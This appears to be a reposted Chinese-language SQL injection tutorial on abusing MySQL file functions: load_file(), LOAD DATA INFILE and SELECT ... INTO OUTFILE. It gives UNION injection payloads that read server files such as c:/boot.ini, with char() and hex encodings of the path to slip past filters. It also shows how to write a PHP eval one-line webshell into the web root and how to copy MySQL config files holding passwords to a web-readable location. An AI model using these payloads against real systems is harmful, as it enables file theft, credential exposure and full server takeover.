1,load_file() 导出文件
Load_file(file_name): 读取文件并返回该文件的内容作为一个字符串.
使用条件:
A, 必须有权限读取并且文件必须完全可读
and (select count(*) from MySQL.user)>0/* 如果结果返回正常, 说明具有读写权限
and (select count(*) from MySQL.user)>0/* 返回错误, 应该是管理员给数据库帐户降权
B, 欲读取文件必须在服务器上
C, 必须指定文件完整的路径
D, 欲读取文件必须小于 max_allowed_packet
如果该文件不存在, 或因为上面的任一原因而不能被读出, 函数返回空. 比较难满足的就是权限, 在 Windows 下, 如果 NTFS 设置得当, 是不能读取相关的文件的, 当遇到只有 administrators 才能访问的文件, users 就别想 load_file 出来.
在实际的注入中, 我们有两个难点需要解决:
绝对物理路径
构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中, 当提交一个错误的 Query, 如果 display_errors = on, 程序就会暴露 web 目录的绝对路径, 只要知道路径, 那么对于一个可以注入的 PHP 程序来说, 整个服务器的安全将受到严重的威胁.
常用路径: http://www.cnblogs.com/lcamry/p/5729087.html https://www.cnblogs.com/lcamry/p/5729087.html
示例:
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
Explain: 利用 hex() 将文件内容导出来, 尤其是 smb 文件时可以使用
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:"char(99,58,47,98,111,111,116,46,105,110,105)" 就是 "c:/boot.ini" 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:"c:/boot.ini" 的 16 进制是 "0x633a2f626f6f742e696e69"
-1 union select 1,1,1,load_file(c:\\boot.INI)
Explain: 路径里的 / 用 \\ 代替
2, 文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行, 并装入一个表中. 文件名称必须为一个文字字符串.
在注入过程中, 我们往往需要一些特殊的文件, 比如配置文件, 密码文件等. 当你具有数据库的权限时, 可以将系统文件利用 load data infile 导入到数据库中.
函数具体介绍: 对于参数介绍这里就不过多的赘述了, 可以参考 MySQL 的文档.(提醒: 参考文档才是最佳的学习资料)
示例: load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将 / tmp/t0.txt 导入到 t0 表中, character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符, lines terminated by 是行的结尾符.
当错误代码是 2 的时候的时候, 文件不存在, 错误代码为 13 的时候是没有权限, 可以考虑 / tmp 等文件夹.
TIPS: 我们从 mysql5.7 的文档看到添加了 load xml 函数, 是否依旧能够用来做注入还需要验证.
3, 导入到文件
语法: SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中. 该文件被创建到服务器主机上, 因此您必须拥有 FILE 权限, 才能使用此语法. file_name 不能是一个已经存在的文件.
我们一般有两种利用形式:
第一种直接将 select 内容导入到文件中:
Select version() into outfile "c:\\phpnow\\htdocs\\test.php"
此处将 version() 替换成一句话,<?PHP @eval($_post["mima"])?> 也即
Select <?PHP @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"
直接连接一句话就可以了, 其实在 select 内容中不仅仅是可以上传一句话的, 也可以上传很多的内容.
第二种修改文件结尾:
Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16 进制文件
解释: 通常是用'\r\n'结尾, 此处我们修改为自己想要的任何文件. 同时可以用 FIELDS TERMINATED BY
16 进制可以为一句话或者其他任何的代码, 可自行构造. 在 sqlmap 中 os-shell 采取的就是这样的方式, 具体可参考 os-shell 分析文章: http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1) 可能在文件路径当中要注意转义, 这个要看具体的环境
(2) 上述我们提到了 load_file(), 但是当前台无法导出数据的时候, 我们可以利用下面的语句:
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'
可以利用该语句将服务器当中的内容导入到 Web 服务器下的目录, 这样就可以得到数据了. 上述 my.INI 当中存在 password 项 (不过默认被注释), 当然会有很多的内容可以被导出来, 这个要平时积累.
来源: http://www.bubuko.com/infodetail-3499960.html